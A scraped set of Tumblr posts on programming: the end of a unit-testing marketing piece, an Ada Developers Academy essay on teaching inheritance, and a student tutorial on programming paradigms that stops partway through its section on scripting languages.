Mocha: Mocha is a flexible JavaScript testing framework that supports both synchronous and asynchronous testing. Both frontend and backend JavaScript code may be utilized with it.

Unit Testing Frameworks

To begin using a unit testing framework, follow these steps:

Choose a Framework: Evaluate the available unit testing frameworks and select the one that best suits your project's requirements and programming language.

Setup the Framework: Install the chosen framework and configure it within your development environment. This typically involves adding the necessary dependencies to your project.

Write Test Cases: Identify the units of code you want to test and write individual test cases for each. Test cases should cover different scenarios and edge cases to ensure comprehensive coverage.

Run the Tests: Execute the tests using the unit testing framework's provided tools or commands. Verify that all tests pass successfully and that no failures or errors occur.

Integrate with Development Workflow: Incorporate unit testing into your development workflow by running tests automatically during continuous integration processes or before deploying code changes.

Best Practices for Effective Unit Testing

following best practices:

Keep Tests Isolated: Ensure that each test case is independent and doesn't rely on the state or outcome of other tests. This avoids test interference and allows for easier troubleshooting.

Use Descriptive Test Names: Give meaningful names to your test cases that clearly describe what is being tested. This makes it easier to understand the purpose of each test and aids in debugging.

Test Both Positive and Negative Scenarios: Cover both expected positive scenarios where the code behaves as intended and negative scenarios where it should handle errors or unexpected inputs gracefully.

Maintain Good Test Coverage: Aim for comprehensive coverage by testing different code paths, edge cases, and boundary conditions. This helps uncover potential issues and ensures thorough validation of your code.

Refactor and Update Tests Alongside Code: As your codebase evolves, update your tests to reflect any changes or refactoring. This ensures that tests remain relevant and continue to provide accurate validation.

Run Tests Frequently: Execute tests regularly, preferably after making any code changes, to catch issues early and prevent regressions. Running tests frequently also helps identify performance bottlenecks.

Use Assertions Effectively: Leverage the assertion capabilities of the unit testing framework to validate expected outcomes. Ensure that assertions are clear and cover all relevant aspects of the code being tested.

Advanced Techniques and Strategies

To maximize the effectiveness of your unit testing efforts, consider employing advanced techniques and strategies:

Mocking and Stubbing: Use mocking and stubbing frameworks to simulate external dependencies or complex components. This allows you to isolate the unit under test and focus on its specific behavior.

Test-Driven Development (TDD): Adopt the TDD approach, where tests are written before writing the actual code. This helps drive the design and implementation of your code based on specific test cases.

Data-Driven Testing: Explore data-driven testing, where test cases are parameterized with different input values and expected outcomes. This allows for efficient testing of multiple scenarios with minimal duplication.

Code Coverage Analysis: Utilize code coverage tools to assess the extent to which your tests exercise your codebase. Analyzing code coverage helps identify areas that require additional testing.

Continuous Integration and Test Automation: Integrate unit testing into your continuous integration (CI) process and automate the execution of tests. This ensures that tests are run consistently and automatically, providing prompt feedback.

Overcoming Challenges in Unit Testing

While unit testing brings numerous benefits, it can also pose challenges. Here are some difficulties and suggestions for overcoming them:

Test Maintenance: As code evolves, maintaining tests can become complex. Regularly review and update tests to align with code changes and ensure their continued effectiveness.

Test Execution Speed: As test suites grow, execution time can increase significantly. Employ techniques like parallel test execution or selective test runs to optimize execution speed.

Testing External Dependencies: When testing code with dependencies on external resources (e.g., databases or APIs), use mocking or stubbing techniques to simulate these dependencies and enable isolated testing.

Legacy Code Testing: Testing legacy code that wasn't designed with testability in mind can be challenging. Employ techniques such as test doubles or refactor code incrementally to make it more testable.

Real-world Examples

Netflix: Netflix uses the Spinnaker platform, which incorporates robust unit testing frameworks to validate the behavior of its microservices architecture. This ensures that changes to services do not cause disruptions to the overall system.

Facebook: Facebook utilizes unit testing frameworks extensively to validate its complex infrastructure and services. The company has open-sourced tools like Jest for JavaScript and Infer for static analysis, which facilitate effective unit testing and bug detection.

OpenAI: OpenAI leverages unit testing frameworks to ensure the correctness of its AI models and software systems. By writing comprehensive unit tests, OpenAI ensures the reliability and accuracy of its models' outputs and the stability of its infrastructure.

Conclusion

Unit testing frameworks play a pivotal role in enhancing code confidence and streamlining the development process. By enabling developers to write automated tests, these frameworks improve code quality, detect bugs early, and provide a safety net for refactoring. With a variety of frameworks available, developers can choose the one that best fits their programming language and project requirements. By following best practices, employing advanced techniques, and learning from real-world examples, developers can maximize the benefits of unit testing frameworks and build robust and reliable software.

Testrig Technologies, an Automation Testing Company, has shown remarkable proficiency in working with Unit Testing Frameworks. Through their expertise and commitment to quality, they have demonstrated their ability to effectively implement and utilize these frameworks to enhance the software development process.

0 notes

adadevacademy · 6 years ago

Text

Teaching Inheritance

by Dan Roberts, Lead Instructor

Not one of them is like another. Don't ask us why. Go ask your mother. -- Dr. Seuss

Think back to when you were learning your first object-oriented programming language. If you learned to program in the last 15 years, there's a good chance that was your first language, period. You probably started off with simple concepts like conditionals and loops, moved on to methods, and then to classes. And then at some point your instructor (or mentor or tutorial video) introduced a concept called inheritance.

If you're like me, your first exposure to inheritance was a bit of a mess. Maybe you couldn't quite get a handle on the syntax. Or maybe you were able to make it work on the class project and pass the exam, but couldn't quite figure out where you would ever use this in the real world. And then once that introductory course was over, you probably packed inheritance back up into your mental toolbox and didn't use it again for a long time.

The fact is, inheritance is complicated. It's hard to use correctly, even for experienced engineers - it took me several years in industry before I felt like I had a good handle on the subject. Yet inheritance is a tool with first-class support in most modern languages, and which is taught to many novice programmers almost immediately.

In this blog post I'll dive into why teaching inheritance is hard, some of the problems with current methods, and what Ada Developers Academy is doing to try and address this problem.

Do We Need Inheritance?

The first question we should ask is, "do we really need to teach inheritance?" This might seem like a silly question - everyone teaches inheritance, it's a key part of object-oriented programming! However time is a scarce resource in a program like Ada's, and everything we do teach means there's something else we don't teach. We've found more often than you might expect that we can drop something that "everyone" does, and end up with a leaner curriculum that is more valuable to both our students and their employers.

But as it turns out, we do need to teach inheritance. This is due to the way we leverage frameworks like Ruby on Rails and ReactJS later in the course. Both Rails and React use inheritance at a fundamental level, and our curriculum wouldn't make sense without it. Moreover, inheritance is an important technique for building real-world software, and our graduates use it on a regular basis in the wild.

Whether inheritance should be taught to novices who don't have an immediate need for it, for example in the first year of a 4-year university program in CS, is a different question. It's also not a problem I'm being paid to solve / write a blog post about. We know that the curriculum we cover at Ada does need inheritance, so we can confidently move forward with our analysis.

What it Means to Teach Inheritance

I have heard using inheritance when writing software compared to using a lathe as a craftsperson. Both solve a certain class of problem extremely well, and neither is particularly useful if you don't have that problem. Both lathes and inheritance take a fair bit of training to use well, and both are liable to make a big mess if used incorrectly. Every machine shop has a lathe, and most modern programming languages support inheritance.

The lathe metaphor allows us to break down the problem a little more. Thinking about it this way, we can see that any curriculum on inheritance needs to address two types of questions.

How do you use inheritance? What specific syntax do you need, and how does that change the way information flows through your program? What rules do you need to keep in mind as you work (e.g. Liskov substitution, the open-closed principle)? These questions are more mechanical, and the answers are often language-specific.

When should you use inheritance? How do you identify that a problem is likely to be neatly solved by inheritance, or that inheritance is a poor choice? What are the tradeoffs involved in deciding whether or not to use inheritance? These questions are more theoretical, and the answers are likely to apply no matter what language or framework you use.

Thinking about these questions leads us to two main issues that make teaching inheritance difficult:

The syntax and semantics of inheritance are tricky

Problems that are well-suited to inheritance are complex

Let's dive into each of these a little deeper.

Programming with Inheritance is Tricky

One of the main reasons teaching inheritance is hard is because inheritance itself is hard. At a high level inheritance is easy to explain: one class gets all the code from another class, and can override pieces and add its own bits. As so often happens, the devil is in the details.

For example, with Ruby the following questions arise:

Are static methods inherited? Can they be overridden?

How are instance variables, class variables, and class-instance variables handled?

Can constants be overridden? If not, what should you do instead?

How does inheritance interact with nested classes?

What has precedence, methods from the parent class or from a mixin?

And that's for Ruby, which is supposed to be beginner friendly! Other languages have their own wildcards:

Python: multiple inheritance

JavaScript: prototypical inheritance model, multiple types of functions

Java: static typing and explicit polymorphism, interfaces, templating

C++: all the Java problems plus memory management and object slicing (shudder)

Whatever language you choose, there's going to be a lot of rules to remember. How do you encode all these, especially for a novice? How do you decide what to include up-front, what to put in the appendix, what to omit entirely? How do you introduce specific details while still keeping the discussion general enough to translate to other languages? This is an important part of the problem - all your theoretical knowledge of how inheritance is used and what kinds of problems it solves won't do you any good if you can't apply it in code.

Fortunately, this part of the problem of teaching inheritance is well-understood. There are many excellent texts that round up the complicated syntax and semantics of inheritance into digestible, intuitive chunks. Any alternative treatment of inheritance needs to acknowledge this challenge and build upon this existing work.

Problems that Need Inheritance are Complex

The other reason that teaching inheritance is hard is because problems that benefit from inheritance tend to be complex. At a minimum, a problem to be solved with inheritance needs:

Two or more domain objects that are similar enough they need to share code, but not so similar that they could be combined into one class

Enough other things going on that it's worth encapsulating the domain objects as classes in the first place

That's a non-trivial amount of complexity, especially for a classroom full of beginners. How can you reasonably build a school project that establishes this complexity, but still fits within the tight time limits of the course? This is where existing curriculums tend to break down.

One tool that springs to mind to address this challenge is scaffolding, possibly by implementing some portion of a project in advance. This allows an instructor to reduce the complexity of the work required of the student, without reducing the complexity of the problem space as a whole. Deciding exactly what and how much to scaffold requires us to do a little more research, so we'll come back to this problem later.

How is Inheritance Used?

Since Ada is a workforce development program, one of the most valuable things we can do is ask "what's going on in industry?" Specifically,

How is inheritance used in the real world?

How is inheritance most likely to be used by a junior engineer in their first year or so on the job?

Understanding how inheritance is used can give us some direction on how it should be taught. Let's look at a few examples.

Rails

In Rails, almost every class you write will inherit from something. The two most common are

ActiveRecord::Base for models

ActionController::Base for controllers

You also see inheritance used for everything from database migrations to configuration management - its the Rails Way™. If you want to do something, you inherit from a class somewhere in the Rails framework. These superclasses are generally quite abstract, and each covers some functionality specific to the domain of an MVC framework.

Another important idiom is the template method pattern, as made famous in the Gang of Four book. A great example of this is with database migrations, where you define an class that inherits from ActiveRecord::Migration and implement the change method, and Rails takes care of the rest. Controller actions also mimic the template method pattern, particularly if your application uses the builtin tools for RESTful routing.

For the most part, Rails does not have you define your own superclasses. The exception to this is ApplicationRecord and ApplicationController, which sit in the hierarchy between concrete models or controllers and the abstract Rails implementation - these are generated automatically by Rails, but are open for you to modify.

React

React isn't quite as broad in its use of inheritance as Rails. However, every component class inherits from React.Component.

In React we again see the template method pattern pop up. Whether you're implementing render or componentDidMount, React knows the algorithm and you fill in the details.

React also does not encourage defining your own superclasses. In fact, their official documentation is rather explicit that inheritance between components should be avoided.

Other Frameworks

Rails and React are the two industry-grade frameworks I'm most familiar with, but I've dabbled in some others, namely Android (Java) and Unity (C#).

Android follows a similar pattern: everything you write inherits from some builtin class, template methods abound, and developers are discouraged from building their own inheritance relationships.

Unity matches the pattern as well, but they seem to be more lenient about extending your own classes, at least as far as I can tell from the Unity documentation on inheritance.

Industry Experience

This matches my experience of how engineering work tends to be done. Design work, in this case identifying the abstraction and building the superclass, is done by the team as a whole or by someone with an impressive sounding job title like "principal consulting systems architect". Implementing the details in a subclass is the job of an individual engineer.

Concretely, as I was spinning up at Isilon I spent a lot of time working on C++ and Python classes that filled in the details of an existing pattern, and not a lot of time inventing new patterns. Template methods were something I used frequently without having a name for them, and which I later wished I had learned about in college.

Summary

Setting Use case Write subclasses Write superclasses Abstract classes Template methods Rails Web servers ✅ ❌ ✅ ✅ React Single-page applications ✅ ❌ ✅ ✅ Android Mobile apps ✅ ❌ ✅ ✅ Unity Video games ✅ ✅ ✅ ✅ First year in industry Any or none of the above ✅ ❓ ✅ ✅

There are a few clear takeaways from this quick survey:

Inheritance solves a complex problem. Programs that benefit from inheritance tend to be fairly large

Writing a subclass is much more common than writing a superclass

Often the superclass is provided for you by whatever framework you're using

Superclasses tend to be abstract, both semantically (embodying a high-level concept) and functionally (never instantiated)

The template method pattern is extremely important

Existing Work

We've built an understanding of what a new engineer needs from an introduction to inheritance. How well does existing computer science curriculum match up with this?

Building Java Programs

We'll use a case study to demonstrate: the excellent Building Java Programs: A Back to Basics Approach by Stuart Reges and Marty Stepp. This text is used by many introductory CS courses, including the University of Washington, as well as by AP CS classrooms supported by the TEALS program. My first exposure to the book was while teaching with TEALS back in 2014.

Building Java Programs does an great job introducing the vocabulary and syntax of inheritance.

The first example is different types of employees in an HR system. This is simple enough to demonstrate syntax while still somewhat plausible - not an easy balance to strike.

The text includes a discussion of where inheritance is not appropriate, and the difference between is-a and has-a relationships.

The chapter introduces interfaces, abstract classes and abstract methods, and the ability to override a method. However, it makes no mention of the template method pattern.

The chapter finishes with a more complex example dealing with different types of stocks and assets.

This is substantial enough that inheritance is an appropriate technique.

In this example, the pieces at the top of the hierarchy are abstract (an interface and an abstract class), matching the pattern identified above.

The book does not provide any context for how this code will be used. I would argue this is a major oversight. Writing code in a vacuum is fine for experienced engineers, but in my experience novices benefit from concrete examples of how code will be used from the "outside". With inheritance in particular, this would demonstrate how polymorphism is useful.

There is no mention of the idea of extending a class implemented by a framework.

In general Building Java Programs is excellent, and I have a tremendous amount of respect for Reges and Stepp. It certainly did a good job of preparing my students for the AP CS exam. However, it does not introduce inheritance as it is used in the real world, particularly by novice engineers. As far as I can tell this is typical of introductory CS courses - certainly my undergraduate education at Purdue followed a similar pattern.

Design Textbooks

There is another type of text that addresses inheritance: books on software design. Famous resources like Practical Object-Oriented Design: An Agile Primer Using Ruby (POODR) by Sandi Metz, or Design Patterns (the "Gang of Four" book) by Gamma, Helm, Johnson and Vlissides address software design more generally, employing inheritance as one tool among many.

However, these books are targeted at experienced engineers trying to up their game, not at novices learning their chosen language for the first time. Moreover they discuss design from a ground-up perspective, whereas an engineer beginning their career is likely to build on the shoulders of giants, extending existing designs rather than inventing new ones.

An ideal curriculum would bridge the gap between these two approaches, introducing both syntax and common inheritance idioms, and getting new engineers used to the work of extending an existing class.

Ada's Approach to Inheritance

The instructional team at Ada has been unhappy with our approach to inheritance for a while now, but we haven't quite known what to do about it. Now that we've done some research and formalized our engineering and pedagogical intuition, here's the approach we've come up with:

Simple examples and accessible metaphors are fine for introducing syntax and semantics, though as Reges and Stepp demonstrate they don't have to be completely unrealistic.

Common idioms like abstract classes and the template method pattern should be introduced as soon as the basic syntax is understood.

Students' first serious inheritance project should involve extending an existing superclass.

This matches the way inheritance is used in the real world, and makes the benefits (not having to re-write a bunch of code) immediately clear.

Instructors would provide the following scaffolding:

Superclass implementation

Driver code demonstrating polymorphism

Another subclass, to model the inheritance mechanism

Possibly a test suite or test stubs

If time permits, a second inheritance project would focus on design, and have students build both the superclass and subclasses, as well as driver code.

At Ada, the first inheritance project takes the form of OO Ride Share. Students are asked to load information about drivers, passengers and trips from CSV files; we provide a CsvRecord superclass and Passenger and Trip subclasses pre-built. We feel this problem is complex enough to justify inheritance but simple enough to spin up on quickly. It also mimics the way ActiveRecord is used in Rails, which will hopefully lead to more comfort and deeper understanding once we get into our Rails unit.

The second project is still in the planning phase, but the idea is a command-line app that integrates with the Slack API. After an in-class design activity students will implement a Recipient superclass that handles most of the API interaction, and User and Channel subclasses that fill in the details. They will also build a command loop that interacts with the user, demonstrating the power of polymorphism. We don't have the project write-up finished yet, but there is a prototype of the end product.

We've spent a lot of time thinking about this fresh approach to teaching inheritance, and I'm excited to see the results. Watch this space for an update in a couple months as we conclude our Intro to Ruby unit and move into Rails.

2 notes · View notes

blackcatblog-blog · 6 years ago

Text

PAF TUTORIAL 1

Question 1

What is the difference between declarative and imperative programming paradigms?

The term programming paradigm refers to the style or way of thinking and addressing problems. Simply, it's a programming style. There may be more than one type programming paradigm...

Never use the phrase “programming language paradigm.”

A paradigm is a way of doing something (like programming), not a concrete thing (like a language). Now, it’s true that if a programming language L happens to make a particular programming paradigm P easy to express, then we often say “L is a P language” (e.g. “Haskell is a functional programming language”) but that does not mean there is any such thing as a “functional language paradigm”.

Some Common Paradigms

Following are few examples for programming paradigms.

Imperative: Programming with an explicit sequence of commands that update state.

Declarative: Programming by specifying the result you want, not how to get it.

Structured: Programming with clean, goto-free, nested control structures.

Procedural: Imperative programming with procedure calls.

Functional (Applicative): Programming with function calls that avoid any global state.

Function-Level (Combinator): Programming with no variables at all.

Object-Oriented: Programming by defining objects that send messages to each other. Objects have their own internal (encapsulated) state and public interfaces. Object orientation can be.

In this article we are not going to discuss about above all. Here we are going to talk about declarative programming and imperative programming. declarative programming and imperative programming are two different approaches that offer a different way of working on a given project or application. But what is the difference between declarative and imperative programming? And when should you use one over the other?

What is imperative programming?

Let's start with imperative programming first. It's the form and style of programming in which we care about how we get a response, step by step. We want the same result at the end of the day, but we ask the registrant to do things in a certain way in order to get the right answer we are looking for.

Your code focuses on creating statements that change program states by creating algorithms that tell the computer how to do things. It closely relates to how hardware works. Typically your code will make use of conditinal statements, loops and class inheritence.

Procedural and object-oriented programming belongs to the imperative paradigm that you know about languages such as C, C ++, C #, PHP, Java and of course Assembly.

Problems with an Imperative Approach

You may already be seeing some issues with the imperative approach. First, our code is pretty messy. The script does a bunch of things, and we don’t know which part of the script is dedicated to which functionality. Second, it’s not easily reusable. If we try to do another analysis, we’ll be changing variables or copy and pasting code, which violates the programming principle of DRY—don’t repeat yourself. Third, if we need to change the program, there are many parts that are dependent on other parts, which means that one change is likely to require a bunch of other changes to accommodate it.

Advantage:

Very simple to implement

It contains loops, variables etc.

Disadvantage:

Complex problem cannot be solved

Less efficient and less productive

Parallel programming is not possible

What is declarative programming?

Next, let’s take a look at declarative programming This is the form or style of programming where we are most concerned with what we want as the answer, or what would be returned. Here, we as developers are not concerned with how we get there, simply concerned with the answer that is received.

Control flow in declarative programming is implicit: the programmer states only what the result should look like,not how to obtain it.

No loops, no assignments, etc. Whatever engine that interprets this code is just supposed go get the desired information, and can use whatever approach it wants. (The logic and constraint paradigms are generally declarative as well.)

In computer science the declarative programming is a style of building programs that expresses logic of computation without talking about its control flow. It often considers programs as theories of some logic.It may simplify writing parallel programs. The focus is on what needs to be done rather how it should be done basically emphasize on what code code is actually doing. It just declare the result we want rather how it has be produced. This is the only difference between imperative (how to do) and declarative (what to do) programming paradigms. Getting into deeper we would see logic, functional and database.

Imperative: C, C++, Java Declarative: SQL, HTML (Can Be) Mix: JavaScript, C#, Python

Think about your typical SQL or HTML example,

SELECT * FROM Users WHERE Country=’Mexico’;

<article> <header> <h1>Declarative Programming</h1> <p>Sprinkle Declarative in your verbiage to sound smart</p> </header> </article>

By glancing at both examples, you have a very clear understanding of what is going on. They’re both declarative. They’re concerned with WHAT you want done, rather than HOW you want it done.

commonly listed advantages of declarative programming?

Reuse: it is easier to create code that can be used for different purposes; something that’s notoriously hard when using imperative constructs.

Idempotence: you can work with end states and let the program figure it out for you. For example, through an upsert operation, you can either insert a row if it is not there, or modify it if it is already there, instead of writing code to deal with both cases.

Error recovery: it is easy to specify a construct that will stop at the first error instead of having to add error listeners for every possible error. (If you’ve ever written three nested callbacks in node.js, you know what I mean.)

Commutativity: the possibility of expressing an end state without having to specify the actual order in which it will be implemented.

Disadvantages of declarative programming?

Thre is not much but as a user of a declarative language, you have limited or no control over how your inputs are dealt with and therefore have no option but to mitigate the impact of any imperfections/bugs in the underlying language and rely on the providers of the declarative language to address the issues.

Summary

Declarative programming is when you say what you want

Imperative language is when you say how to get what you want.

A simple example in Python:

Declarative

small_nums = [x for x in range(20) if x < 5]

Imperative

small_nums = [] for i in range(20): if i < 5: small_nums.append(i)

The first example is declarative because we do not specify any "implementation details" of building the list.you aren't saying how to obtain what you want; you are only saying what you want.

So finally I hope that you got an idea about what is declarative and Imperative programming.

References

Images

https://bit.ly/2UWZO5r

https://bit.ly/2IcV7TO

Other

https://bit.ly/2DLHl4O

https://bit.ly/2k405RO

https://bit.ly/2SSNfHV

https://bit.ly/2NI8QmQ

https://bit.ly/2DGDQN9

https://bit.ly/2TAZold

Question2

What is the difference between procedural programming and functional programming.

In a previous letter we have talked about imperative and declarative progamming. So now we are going to discuss about the difference between procedural programming and functional programming.

Functional Programming Paradigm

A functional language (ideally) allows you to write a mathematical function, i.e. a function that takes “n” arguments and returns a value. If the program is executed, this function is logically evaluated as needed.

The functional programming paradigms has its roots in mathematics and it is language independent. The key principal of this paradigms is the execution of series of mathematical functions. The central model for the abstraction is the function which are meant for some specific computation and not the data structure. Data are loosely coupled to functions.The function hide their implementation. Function can be replaced with their values without changing the meaning of the program. Some of the languages like perl, javascript mostly uses this paradigm.

Functional Programming is,

Often recursive.

Always returns the same output for a given input.

Order of evaluation is usually undefined.

Must be stateless. i.e. No operation can have side effects.

Good fit for parallel execution

Tends to emphasize a divide and conquer approach.

May have the feature of Lazy Evaluation.

Examples of Functional programming paradigm:

JavaScript : developed by Brendan Eich Haskwell : developed by Lennart Augustsson, Dave Barton

Scala : developed by Martin Odersky

Erlang : developed by Joe Armstrong, Robert Virding

Lisp : developed by John Mccarthy

ML : developed by Robin Milner Clojure : developed by Rich Hickey

Procedural Programming Paradigm

A procedural language performs a series of sequential steps. (There’s a way of transforming sequential logic into functional logic called continuation passing style.) This paradigm emphasizes on procedure in terms of under lying machine model. There is no difference in between procedural and imperative approach. It has the ability to reuse the code and it was boon at that time when it was in use because of its reusability.

Procedural Programming is,

The output of a routine does not always have a direct correlation with the input.

Everything is done in a specific order.

Execution of a routine may have side effects.

Tends to emphasize implementing solutions in a linear fashion.

Examples of Procedural programming paradigm:

C : developed by Dennis Ritchie and Ken Thompson

C++ : developed by Bjarne Stroustrup

Java : developed by James Gosling at Sun Microsystems

ColdFusion : developed by J J Allaire

Pascal : developed by Niklaus Wirth

Summary

More simply the difference between these two is like this,

Functional programming focuses on expressions

Procedural programming focuses on statements

Expressions have values. A functional program is an expression who’s value is a sequence of instructions for the computer to carry out.

Statements don’t have values and instead modify the state of some conceptual machine.

In a purely functional language there would be no statements, in the sense that there’s no way to manipulate state (they might still have a syntactic construct named “statement”, but unless it manipulates state I wouldn’t call it a statement in this sense). In a purely procedural language there would be no expressions, everything would be an instruction which manipulates the state of the machine.

Haskell would be an example of a purely functional language because there is no way to manipulate state. Machine code would be an example of a purely procedural language because everything in a program is a statement which manipulates the state of the registers and memory of the machine.

The confusing part is that the vast majority of programming languages contain both expressions and statements, allowing you to mix paradigms. Languages can be classified as more functional or more procedural based on how much they encourage the use of statements vs expressions

In procedural, I’d ask:

Go to the kitchen.

Open the fridge.

Look for beer.

If you find beer, grab it.

Close the fridge.

Walk back here.

In functional, I’d tell you:

Here’s how to walk.

Here’s how to access the fridge.

Here’s how to look for something.

Here’s how to grab something.

That’s all about the difference between procedural programming and functional programming. I hope now you have an idea about the difference.

References

Images

https://bit.ly/2Eb7Dip

Other

https://bit.ly/2X2vd8m

https://bit.ly/2SzoF2y

https://bit.ly/2SSNfHV

Question 3

Lambda calculus and Lambda expressions in functional programming.

Alonzo Church (1903–1995 ) Professor at Princeton (1929–1967) and UCLA (1967–1990) Invented the Lambda Calculus. It was developed to to study computations with functions.

Imperative programming concerned with “how.” Functional programming concerned with “what.”

Based on the mathematics of the lambda calculus (Church as opposed to Turing). “Programming without variables” It is elegant and a difficult setting in which to create subtle bugs. It’s a cult: once you catch the functional bug, you never escape.

The lambda calculus has three basic components, or lambda terms: expressions, variables and abstractions. The word expression refers to a superset of all those things: an expression that can be a variable name, an abstraction or a combination of those things.

An abstraction is a function. It is a lambda term that has a head and a body and is applied to an argument. An argument is an input value. The head of a function is a 𝜆(lambda) followed by a variable name.The body of the function is another expression. So a simple function might look like: 𝜆x.x . It’s an identity function because it just return the argument passed to it. In the previous example of f(x) = x + 1 we were talking about a function called f, but the lambda abstraction 𝜆x.x has no name. It’s an anonymous function (we all are familiar with this term, because it’s a very powerful idea and almost all imperative languages have some sort of implementation of it too). In the definition the dot separates the parameters of the lambda function from the body.

earlier Functional programming languages are based on Lambda Calculus, as we have learned a bit more about lambdas we can relate more about how they are connected. We might have heard the phrase Functions are first class citizens in functional languages. Lets explain that a bit. Imperative languages usually treat functions differently than other values(variables, objects and other inhabitants of a program) in the program though that is changing with omnipresence of lambdas(anonymous) function everywhere.

But in functional languages functions are just like any other value. You can toss function around, return another function from a function body, compose functions to build complex functionalities from simple functions and all sorts of cool things.

And if the function is a pure( like mathematical one) which always return the same output for the same input you don’t even need to care where the function is being evaluated, be it in another core of the same machine or in the cloud because you don’t need to care. All you want is the result of applying the function to an input.

Building Software is a complex task and Composability is a(or is the) way to handle complexity. You start with simple building blocks and compose them to build complex program to solve complex problems. Pure functions are such building blocks.

In a way, programs in functional languages are like reducing expressions(remember beta reduction from last paragraph). The compilers continue evaluating expressions until it reaches a point when it can’t reduce the expression anymore and the execution is complete.

x -(Variable)

A character or string representing a parameter or mathematical/logical value

(λx.M) -(AbstractionFunction)

definition (M is a lambda term). The variable x becomes bound in the expression.

(M N) -(ApplicationApplying)

a function to an argument. M and N are lambda terms.

References

Images

https://bit.ly/2UU9AVY

https://bit.ly/2ByXvhK

Other

https://bit.ly/2EdUSE1

https://bit.ly/1TsPkGn

https://bit.ly/2Szi3RP

Question 4

What is meant by “no side-effects” and “referential transparency” in functional programming?

Referential Transparency

Referential transparency is a property of a specific part of a program or a programming language, especially functional programming languages like Haskell and R. An expression in a program is said to be referentially transparent if it can be replaced with its value and the resulting behavior is the same as before the change. This means that the program's behavior is not changed whether the input used is a reference or an actual value that the reference is pointing to.

As programs are composed of subprograms, which are programs themselves, it applies to those subprograms, too. Subprograms may be represented, among other things, by methods. That means method can be referentially transparent, which is the case if a call to this method may be replaced by its return value:

int add(int a, int b) { return a + b } int mult(int a, int b) { return a * b; } int x = add(2, mult(3, 4));

In this example, the mult method is referentially transparent because any call to it may be replaced with the corresponding return value. This may be observed by replacing mult(3, 4) with 12:

int x = add(2, 12)

In the same way, add(2, 12) may be replaced with the corresponding return value, 14:

int x = 14;

None of these replacements will change the result of the program, whatever it does.

side effect

Functional programming is based on the simple premise that your functions should not have side effects; they are considered evil in this paradigm. If a function has side effects we call it a procedure, so functions do not have side effects. We consider that a function has a side effect if it modifies a mutable data structure or variable, uses IO, throws an exception or halts an error; all of these things are considered side effects. The reason why side effects are bad is because, if you had them, a function can be unpredictable depending on the state of the system; when a function has no side effects we can execute it anytime, it will always return the same result, given the same input.

Simply side effect refers simply to the modification of some kind of state - for instance:

Changing the value of a variable;

Writing some data to disk;

Enabling or disabling a button in the User Interface.

References

https://bit.ly/2GsOFGv

https://bit.ly/2X5qYsP

https://bit.ly/2UYMLR9

https://bit.ly/2BA9Li4

https://bit.ly/2nG5zHG

Question 5

Key features of Object Oriented Programming

Object-oriented programming (OOP) is a programming paradigm based on the concept of “objects”, which may contain data, in the form of fields, often known as attributes; and code, in the form of procedures, often known as methods. A feature of objects is that an object’s procedures can access and often modify the data fields of the object with which they are associated (objects have a notion of “this” or “self”). In OOP, computer programs are designed by making them out of objects that interact with one another.[1][2]There is significant diversity of OOP languages, but the most popular ones are class-based, meaning that objects are instances of classes, which typically also determine their type.

Many of the most widely used programming languages (such as C++, Object Pascal, Java, Python etc.) are multi-paradigm programming languages that support object-oriented programming to a greater or lesser degree, typically in combination with imperative, procedural programming. Significant object-oriented languages include Java, C++, C#, Python, PHP, JavaScript, Ruby, Perl, Object Pascal, Objective-C, Dart, Swift, Scala, Common Lisp, and Smalltalk.

OOP Characteristics:

Objects

Classes

Data Abstraction

Encapsulation

Inheritance

Polymorphism

Objects:

In other words object is an instance of a class.

Classes:

These contain data and functions bundled together under a unit. In other words class is a collection of similar objects. When we define a class it just creates template or Skelton. So no memory is created when class is created. Memory is occupied only by object. In other words classes acts as data types for objects.

Data Hiding:

This concept is the main heart of an Object oriented programming. The data is hidden inside the class by declaring it as private inside the class. When data or functions are defined as private it can be accessed only by the class in which it is defined. When data or functions are defined as public then it can be accessed anywhere outside the class. Object Oriented programming gives importance to protecting data which in any system. This is done by declaring data as private and making it accessible only to the class in which it is defined. This concept is called data hiding. But one can keep member functions as public.

Encapsulation:

The technical term for combining data and functions together as a bundle is encapsulation.

Inheritance:

Inheritance as the name suggests is the concept of inheriting or deriving properties of an exiting class to get new class or classes. In other words we may have common features or characteristics that may be needed by number of classes. So those features can be placed in a common tree class called base class and the other classes which have these charaterisics can take the tree class and define only the new things that they have on their own in their classes. These classes are called derived class. The main advantage of using this concept of inheritance in Object oriented programming is it helps in reducing the code size since the common characteristic is placed separately called as base class and it is just referred in the derived class. This provide the users the important usage of terminology called as reusability

Polymorphism and Overloading:

Poly refers many. So Polymorphism as the name suggests is a certain item appearing in different forms or ways. That is making a function or operator to act in different forms depending on the place they are present is called Polymorphism.

And due to this all future object oriented programming language like c++, java are more popular in use .

References

Images

https://bit.ly/2tpi5g9

Other

https://bit.ly/2zV49xn

https://bit.ly/20Rx76M

Question 6

How the event-driven programming is different from other programming paradigms?

Event-driven programming is a programming paradigm in which the flow of program execution is determined by events - for example a user action such as a mouse click, key press, or a message from the operating system or another program. An event-driven application is designed to detect events as they occur, and then deal with them using an appropriate event-handling procedure. The idea is an extension of interrupt-driven programming of the kind found in early command-line environments such as DOS, and in embedded systems (where the application is implemented as firmware).

References

https://bit.ly/2X60aJ5

https://che.gg/2SSmxCj

https://bit.ly/2ylqy6S

Question 7

Compiled languages, Scripting languages, and Markup languages.

Programming Languages

A programming language is simply a set of rules that tells a computer system what to do and how to do it. It gives the computer instructions for performing a particular task. A programming language consists of a series of well-defined steps which the computer must strictly follow in order to produce the desired output. Failure to follow the steps as it has been defined will result in an error and sometimes the computer system won’t perform as intended.These instructions are usually written by programmers who have an in-depth knowledge about a particular programming language. They are not only knowledgeable about the syntax of that language but also they have mastered the data structures and algorithms used for that language. This is because the basic function of a programming language is to translate the input data into meaningful output.

Markup languages

From the name, we can easily tell that a markup language is all about visuals and looks. Basically, this is the primary role of markup languages. They are used for the presentation of data. They determine the final outlook or appearance of the data that needs to be displayed on the software. Two of the most powerful markup languages are HTML and XML. If you have used both of these two languages, you should be aware of the impact that they can have on a website in terms of the aesthetics.

A properly utilized HTML with the help of CSS will result in a beautiful or stunning website. Markup languages are characterized by tags which are used for defining elements in the document. They are human-readable because they contain normal texts.

There are different types of markup languages and each one of them is designed to perform a specific role. For instance, the primary role of HTML is to give a structure to the website and its component. On the other hand, XML was designed to store and transport structured data. If you are planning to be a front-end developer, consider sharpening your knowledge on markup languages.

Scripting language

